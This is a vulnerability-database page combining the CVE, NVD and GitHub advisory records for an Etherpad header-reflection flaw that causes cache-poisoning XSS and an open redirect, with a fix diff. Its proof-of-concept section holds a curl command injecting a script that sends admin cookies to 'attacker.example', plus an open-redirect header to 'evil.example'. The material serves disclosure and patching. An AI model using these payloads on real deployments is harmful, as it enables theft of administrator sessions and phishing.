CVE-2026-55087 (GCVE-0-2026-55087)

Vulnerability from cvelistv5 – Published: 2026-08-19 19:29 – Updated: 2026-08-21 21:48

Title

Etherpad: x-proxy-path header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)

Summary

Etherpad is a real-time collaborative editor. From 2.1.0 until 3.1.0, Etherpad uses the attacker-controlled x-proxy-path request header in src/node/hooks/express/admin.ts when substituting paths into HTML, JavaScript, and CSS under /admin without sanitization, Vary: x-proxy-path, or Cache-Control: private, no-store. A shared proxy or CDN can cache the resulting response and serve attacker-injected script to an administrator. In src/node/hooks/express/specialpages.ts, version 3.0.0 also accepts a protocol-relative x-proxy-path value when constructing the /p/:pad/timeslider redirect, allowing redirection to an attacker-controlled host. The issues are exploitable when the deployment permits client-supplied x-proxy-path headers to reach Etherpad. This issue is fixed in version 3.1.0.

Severity

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-21 20:58 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
CWE-601 - URL Redirection to Untrusted Site ('Open Redirect')

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/ether/etherpad/security/adviso…	x_refsource_CONFIRM
https://github.com/ether/etherpad/pull/7784	x_refsource_MISC
https://github.com/ether/etherpad/commit/8c6104c5…	x_refsource_MISC
https://github.com/ether/etherpad/tree/3.1.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
ether	etherpad	Affected: >= 2.1.0, < 3.1.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55087",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-21T20:58:55.152876Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-21T21:48:54.703Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "etherpad",
          "vendor": "ether",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.1.0, \u003c 3.1.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Etherpad is a real-time collaborative editor. From 2.1.0 until 3.1.0, Etherpad uses the attacker-controlled x-proxy-path request header in src/node/hooks/express/admin.ts when substituting paths into HTML, JavaScript, and CSS under /admin without sanitization, Vary: x-proxy-path, or Cache-Control: private, no-store. A shared proxy or CDN can cache the resulting response and serve attacker-injected script to an administrator. In src/node/hooks/express/specialpages.ts, version 3.0.0 also accepts a protocol-relative x-proxy-path value when constructing the /p/:pad/timeslider redirect, allowing redirection to an attacker-controlled host. The issues are exploitable when the deployment permits client-supplied x-proxy-path headers to reach Etherpad. This issue is fixed in version 3.1.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-444",
              "description": "CWE-444: Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-601",
              "description": "CWE-601: URL Redirection to Untrusted Site (\u0027Open Redirect\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-19T19:29:16.221Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/ether/etherpad/security/advisories/GHSA-fjgc-3mj7-8rg8",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/ether/etherpad/security/advisories/GHSA-fjgc-3mj7-8rg8"
        },
        {
          "name": "https://github.com/ether/etherpad/pull/7784",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/ether/etherpad/pull/7784"
        },
        {
          "name": "https://github.com/ether/etherpad/commit/8c6104c5d5daf41f0d454acc04d42dffa0e0d996",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/ether/etherpad/commit/8c6104c5d5daf41f0d454acc04d42dffa0e0d996"
        },
        {
          "name": "https://github.com/ether/etherpad/tree/3.1.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/ether/etherpad/tree/3.1.0"
        }
      ],
      "source": {
        "advisory": "GHSA-fjgc-3mj7-8rg8",
        "discovery": "UNKNOWN"
      },
      "title": "Etherpad: x-proxy-path header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55087",
    "datePublished": "2026-08-19T19:29:16.221Z",
    "dateReserved": "2026-06-16T14:41:54.578Z",
    "dateUpdated": "2026-08-21T21:48:54.703Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-55087",
      "date": "2026-09-19",
      "epss": "0.00523",
      "percentile": "0.4335"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "etherpad",
                "vendor": "ether",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 2.1.0, \u003c 3.1.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Etherpad is a real-time collaborative editor. From 2.1.0 until 3.1.0, Etherpad uses the attacker-controlled x-proxy-path request header in src/node/hooks/express/admin.ts when substituting paths into HTML, JavaScript, and CSS under /admin without sanitization, Vary: x-proxy-path, or Cache-Control: private, no-store. A shared proxy or CDN can cache the resulting response and serve attacker-injected script to an administrator. In src/node/hooks/express/specialpages.ts, version 3.0.0 also accepts a protocol-relative x-proxy-path value when constructing the /p/:pad/timeslider redirect, allowing redirection to an attacker-controlled host. The issues are exploitable when the deployment permits client-supplied x-proxy-path headers to reach Etherpad. This issue is fixed in version 3.1.0."
          }
        ],
        "id": "CVE-2026-55087",
        "lastModified": "2026-09-09T21:15:59.613",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.1,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 2.7,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-55087",
                "options": [
                  {
                    "exploitation": "none"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-21T20:58:55.152876Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-08-19T20:17:17.720",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/ether/etherpad/commit/8c6104c5d5daf41f0d454acc04d42dffa0e0d996"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/ether/etherpad/pull/7784"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/ether/etherpad/security/advisories/GHSA-fjgc-3mj7-8rg8"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/ether/etherpad/tree/3.1.0"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-79"
              },
              {
                "lang": "en",
                "value": "CWE-444"
              },
              {
                "lang": "en",
                "value": "CWE-601"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-55087",
                    "options": [
                      {
                        "Exploitation": "none"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-08-21T20:58:55.152876Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-08-21T20:58:56.842Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "etherpad",
              "vendor": "ether",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 2.1.0, \u003c 3.1.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Etherpad is a real-time collaborative editor. From 2.1.0 until 3.1.0, Etherpad uses the attacker-controlled x-proxy-path request header in src/node/hooks/express/admin.ts when substituting paths into HTML, JavaScript, and CSS under /admin without sanitization, Vary: x-proxy-path, or Cache-Control: private, no-store. A shared proxy or CDN can cache the resulting response and serve attacker-injected script to an administrator. In src/node/hooks/express/specialpages.ts, version 3.0.0 also accepts a protocol-relative x-proxy-path value when constructing the /p/:pad/timeslider redirect, allowing redirection to an attacker-controlled host. The issues are exploitable when the deployment permits client-supplied x-proxy-path headers to reach Etherpad. This issue is fixed in version 3.1.0."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.1,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-79",
                  "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-444",
                  "description": "CWE-444: Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-601",
                  "description": "CWE-601: URL Redirection to Untrusted Site (\u0027Open Redirect\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-08-19T19:29:16.221Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/ether/etherpad/security/advisories/GHSA-fjgc-3mj7-8rg8",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/ether/etherpad/security/advisories/GHSA-fjgc-3mj7-8rg8"
            },
            {
              "name": "https://github.com/ether/etherpad/pull/7784",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/ether/etherpad/pull/7784"
            },
            {
              "name": "https://github.com/ether/etherpad/commit/8c6104c5d5daf41f0d454acc04d42dffa0e0d996",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/ether/etherpad/commit/8c6104c5d5daf41f0d454acc04d42dffa0e0d996"
            },
            {
              "name": "https://github.com/ether/etherpad/tree/3.1.0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/ether/etherpad/tree/3.1.0"
            }
          ],
          "source": {
            "advisory": "GHSA-fjgc-3mj7-8rg8",
            "discovery": "UNKNOWN"
          },
          "title": "Etherpad: x-proxy-path header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-55087",
        "datePublished": "2026-08-19T19:29:16.221Z",
        "dateReserved": "2026-06-16T14:41:54.578Z",
        "dateUpdated": "2026-08-21T21:48:54.703Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-55087

Vulnerability from fkie_nvd - Published: 2026-08-19 20:17 - Updated: 2026-09-09 21:15

Severity

6.1 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/ether/etherpad/commit/8c6104c5d5daf41f0d454acc04d42dffa0e0d996
	security-advisories@github.com	https://github.com/ether/etherpad/pull/7784
	security-advisories@github.com	https://github.com/ether/etherpad/security/advisories/GHSA-fjgc-3mj7-8rg8
	security-advisories@github.com	https://github.com/ether/etherpad/tree/3.1.0

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "etherpad",
          "vendor": "ether",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.1.0, \u003c 3.1.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Etherpad is a real-time collaborative editor. From 2.1.0 until 3.1.0, Etherpad uses the attacker-controlled x-proxy-path request header in src/node/hooks/express/admin.ts when substituting paths into HTML, JavaScript, and CSS under /admin without sanitization, Vary: x-proxy-path, or Cache-Control: private, no-store. A shared proxy or CDN can cache the resulting response and serve attacker-injected script to an administrator. In src/node/hooks/express/specialpages.ts, version 3.0.0 also accepts a protocol-relative x-proxy-path value when constructing the /p/:pad/timeslider redirect, allowing redirection to an attacker-controlled host. The issues are exploitable when the deployment permits client-supplied x-proxy-path headers to reach Etherpad. This issue is fixed in version 3.1.0."
    }
  ],
  "id": "CVE-2026-55087",
  "lastModified": "2026-09-09T21:15:59.613",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55087",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-21T20:58:55.152876Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-19T20:17:17.720",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/ether/etherpad/commit/8c6104c5d5daf41f0d454acc04d42dffa0e0d996"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/ether/etherpad/pull/7784"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/ether/etherpad/security/advisories/GHSA-fjgc-3mj7-8rg8"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/ether/etherpad/tree/3.1.0"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        },
        {
          "lang": "en",
          "value": "CWE-444"
        },
        {
          "lang": "en",
          "value": "CWE-601"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-FJGC-3MJ7-8RG8

Vulnerability from github – Published: 2026-08-13 13:46 – Updated: 2026-08-13 13:46

Summary

ep_etherpad-lite: Cache-poisoning Cross-site Scripting and Open Redirect via x-proxy-path Header

Details

GHSA-03 — `x-proxy-path` header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)

Severity: Medium CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CVSS suggested base score: ~6.1 — Medium (Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment — single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.) CWE: CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests

Title

x-proxy-path request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a /p/:pad/timeslider redirect target (open-redirect via protocol-relative URL)

Description

Etherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. /pad/etherpad/...). The proxy is expected to set x-proxy-path: /pad/etherpad on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header:

Issue 3a — `src/node/hooks/express/admin.ts` (XSS, cache-poisoning)

The admin static-serving handler read req.header('x-proxy-path') and substituted it into the response body of every .html/.js/.css asset under /admin/* using String.prototype.replaceAll. The value was used raw, with no character filter and no Vary / Cache-Control headers on the response. Consequently:

An attacker who can issue a request with a chosen x-proxy-path value gets that value reflected into HTML/JS/CSS sent back to them. Reflected XSS on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML).
More seriously, any reverse proxy or CDN in front of Etherpad that caches /admin/index.html keyed on URL alone (the common case — no Vary was set) will cache the poisoned response and serve it to subsequent admins. Cache-poisoning XSS against every admin that loads the same bundle from the same cache.

Issue 3b — `src/node/hooks/express/specialpages.ts` (open-redirect via protocol-relative URL)

The legacy /p/:pad/timeslider handler (direct visits without ?embed=1) built a redirect target as:

res.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`);

A local sanitizeProxyPath helper filtered the character class but did NOT prevent values beginning with //. A request carrying x-proxy-path: //evil.example therefore produced a Location: //evil.example/p/<pad> header, which browsers interpret as a protocol-relative URL — equivalent to https://evil.example/p/<pad>. Open redirect, exploitable for phishing.

Both issues require the x-proxy-path header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed.

Severity rationale

AV:N / AC:L / PR:N — the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response.
UI:R — victim must visit/interact with the admin UI.
S:C — scope changes (attacker context to admin origin).
C:L / I:L — XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining.

CVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client x-proxy-path are not exposed.

Affected versions

Admin XSS (Issue 3a): ep_etherpad-lite >= 2.1.0, <= 3.0.0. The unsanitised replaceAll("/admin", req.header(PROXY_HEADER) + ...) was present in 63e9b2d "Fixed api header authorization" (#6399), first tagged in v2.1.0 (2024-05-22). All releases through v3.0.0 carry it.
Open-redirect (Issue 3b): ep_etherpad-lite = 3.0.0. The legacy timeslider redirect that concatenates the proxy path into a Location header was introduced in 451bd9c "scrub history in-place on the pad URL" (#7710) and first shipped in v3.0.0. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape.
Combined fix-target range covered by the GHSA: >= 2.1.0, <= 3.0.0.

Patched versions

ep_etherpad-lite >= 3.1.0 — the fix is on develop HEAD as commit 8c6104c. Update this field with the actual tagged release version when it ships.

Proof of concept

XSS / cache poisoning

curl -s 'https://pad.example/admin/index.html' \
  -H 'x-proxy-path: "><script>fetch("https://attacker.example/?c="+document.cookie)</script><i a="'

# If served by a shared cache without Vary on x-proxy-path, subsequent
# requests to /admin/index.html (from any admin) get the same poisoned
# HTML.

Open redirect

curl -i 'https://pad.example/p/foo/timeslider' \
  -H 'x-proxy-path: //evil.example'

# HTTP/1.1 302 Found
# Location: //evil.example/p/foo

A browser followed against the etherpad origin treats //evil.example/p/foo as https://evil.example/p/foo.

Workarounds

Configure the reverse proxy (nginx, traefik, HAProxy, etc.) to strip or overwrite x-proxy-path from inbound client requests. Most production deployments already do this; the bug only matters in deployments that don't.
For the timeslider redirect specifically: disable the legacy direct-timeslider URL by client-side routing to /p/:pad (the in-pad PadModeController handles history mode without ever loading the standalone timeslider).

Fix

Patched in 8c6104c (PR #7784):

Extracted src/node/utils/sanitizeProxyPath.ts — a single shared helper used by both admin.ts and specialpages.ts. The helper:
returns "" when the header is absent;
strips characters outside [A-Za-z0-9_./-];
collapses a leading //+ to a single / (kills protocol-relative URLs);
prepends / if the cleaned non-empty value doesn't already have one (so callers can always concatenate as an absolute prefix);
rejects .. traversal segments.
admin.ts now emits Vary: x-proxy-path and Cache-Control: private, no-store on HTML/JS/CSS responses that varied by the header, so downstream caches cannot collapse responses across different header values.

src/node/hooks/express/specialpages.ts — replace the local sanitiser with the shared one:

-const sanitizeProxyPath = (req: any): string => {
-  const raw = req.header('x-proxy-path') || '';
-  return raw.replace(/[^a-zA-Z0-9\-_\/\.]/g, '');
-};
+import {sanitizeProxyPath} from '../../utils/sanitizeProxyPath';

src/node/hooks/express/admin.ts — sanitise the value AND emit cache-key/cache-control headers so a shared cache can't collapse responses across different proxy-path values:

   if (ext === ".html" || ext === ".js" || ext === ".css") {
-    if (req.header(PROXY_HEADER)) {
+    const proxyPath = sanitizeProxyPath(req);
+    if (proxyPath) {
       let string = data.toString()
-      dataToSend = string.replaceAll("/admin", req.header(PROXY_HEADER) + "/admin")
-      dataToSend = dataToSend.replaceAll("/socket.io", req.header(PROXY_HEADER) + "/socket.io")
+      dataToSend = string.replaceAll("/admin", proxyPath + "/admin")
+      dataToSend = dataToSend.replaceAll("/socket.io", proxyPath + "/socket.io")
     }
+    res.setHeader('Vary', 'x-proxy-path');
+    res.setHeader('Cache-Control', 'private, no-store');
   }

Resources

Patched in: https://github.com/ether/etherpad/pull/7784 (squash commit 8c6104c).
Admin XSS vulnerable code introduced in: https://github.com/ether/etherpad/commit/63e9b2d (PR #6399), released in v2.1.0.
Open-redirect vulnerable code introduced in: https://github.com/ether/etherpad/commit/451bd9c (PR #7710), released in v3.0.0.

Credits

Reported during an internal security audit by Claude (via @JohnMcLear).

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "ep_etherpad-lite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55087"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444",
      "CWE-601",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-13T13:46:07Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# GHSA-03 \u2014 `x-proxy-path` header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)\n\n**Severity:** Medium\n**CVSS v3.1 vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`\n**CVSS suggested base score:** ~6.1 \u2014 Medium\n  *(Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment \u2014 single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.)*\n**CWE:** CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests\n\n## Title\n\n`x-proxy-path` request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a `/p/:pad/timeslider` redirect target (open-redirect via protocol-relative URL)\n\n## Description\n\nEtherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. `/pad/etherpad/...`). The proxy is expected to set `x-proxy-path: /pad/etherpad` on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header:\n\n### Issue 3a \u2014 `src/node/hooks/express/admin.ts` (XSS, cache-poisoning)\n\nThe admin static-serving handler read `req.header(\u0027x-proxy-path\u0027)` and substituted it into the response body of every `.html`/`.js`/`.css` asset under `/admin/*` using `String.prototype.replaceAll`. The value was used **raw**, with no character filter and no `Vary` / `Cache-Control` headers on the response. Consequently:\n\n- An attacker who can issue a request with a chosen `x-proxy-path` value gets that value reflected into HTML/JS/CSS sent back to them. **Reflected XSS** on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML).\n- More seriously, any reverse proxy or CDN in front of Etherpad that caches `/admin/index.html` keyed on URL alone (the common case \u2014 no `Vary` was set) will cache the poisoned response and serve it to subsequent admins. **Cache-poisoning XSS** against every admin that loads the same bundle from the same cache.\n\n### Issue 3b \u2014 `src/node/hooks/express/specialpages.ts` (open-redirect via protocol-relative URL)\n\nThe legacy `/p/:pad/timeslider` handler (direct visits without `?embed=1`) built a redirect target as:\n\n```ts\nres.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`);\n```\n\nA local `sanitizeProxyPath` helper filtered the character class but did NOT prevent values beginning with `//`. A request carrying `x-proxy-path: //evil.example` therefore produced a `Location: //evil.example/p/\u003cpad\u003e` header, which browsers interpret as a protocol-relative URL \u2014 equivalent to `https://evil.example/p/\u003cpad\u003e`. **Open redirect**, exploitable for phishing.\n\nBoth issues require the `x-proxy-path` header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed.\n\n## Severity rationale\n\n- **AV:N / AC:L / PR:N** \u2014 the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response.\n- **UI:R** \u2014 victim must visit/interact with the admin UI.\n- **S:C** \u2014 scope changes (attacker context to admin origin).\n- **C:L / I:L** \u2014 XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining.\n\nCVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client `x-proxy-path` are not exposed.\n\n## Affected versions\n\n- **Admin XSS (Issue 3a):** `ep_etherpad-lite \u003e= 2.1.0, \u003c= 3.0.0`. The unsanitised `replaceAll(\"/admin\", req.header(PROXY_HEADER) + ...)` was present in [`63e9b2d` \"Fixed api header authorization\" (#6399)](https://github.com/ether/etherpad/commit/63e9b2d), first tagged in **v2.1.0** (2024-05-22). All releases through `v3.0.0` carry it.\n- **Open-redirect (Issue 3b):** `ep_etherpad-lite = 3.0.0`. The legacy timeslider redirect that concatenates the proxy path into a `Location` header was introduced in [`451bd9c` \"scrub history in-place on the pad URL\" (#7710)](https://github.com/ether/etherpad/commit/451bd9c) and first shipped in **v3.0.0**. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape.\n- Combined fix-target range covered by the GHSA: `\u003e= 2.1.0, \u003c= 3.0.0`.\n\n## Patched versions\n\n- `ep_etherpad-lite \u003e= 3.1.0` \u2014 the fix is on `develop` HEAD as commit `8c6104c`. Update this field with the actual tagged release version when it ships.\n\n## Proof of concept\n\n### XSS / cache poisoning\n\n```\ncurl -s \u0027https://pad.example/admin/index.html\u0027 \\\n  -H \u0027x-proxy-path: \"\u003e\u003cscript\u003efetch(\"https://attacker.example/?c=\"+document.cookie)\u003c/script\u003e\u003ci a=\"\u0027\n\n# If served by a shared cache without Vary on x-proxy-path, subsequent\n# requests to /admin/index.html (from any admin) get the same poisoned\n# HTML.\n```\n\n### Open redirect\n\n```\ncurl -i \u0027https://pad.example/p/foo/timeslider\u0027 \\\n  -H \u0027x-proxy-path: 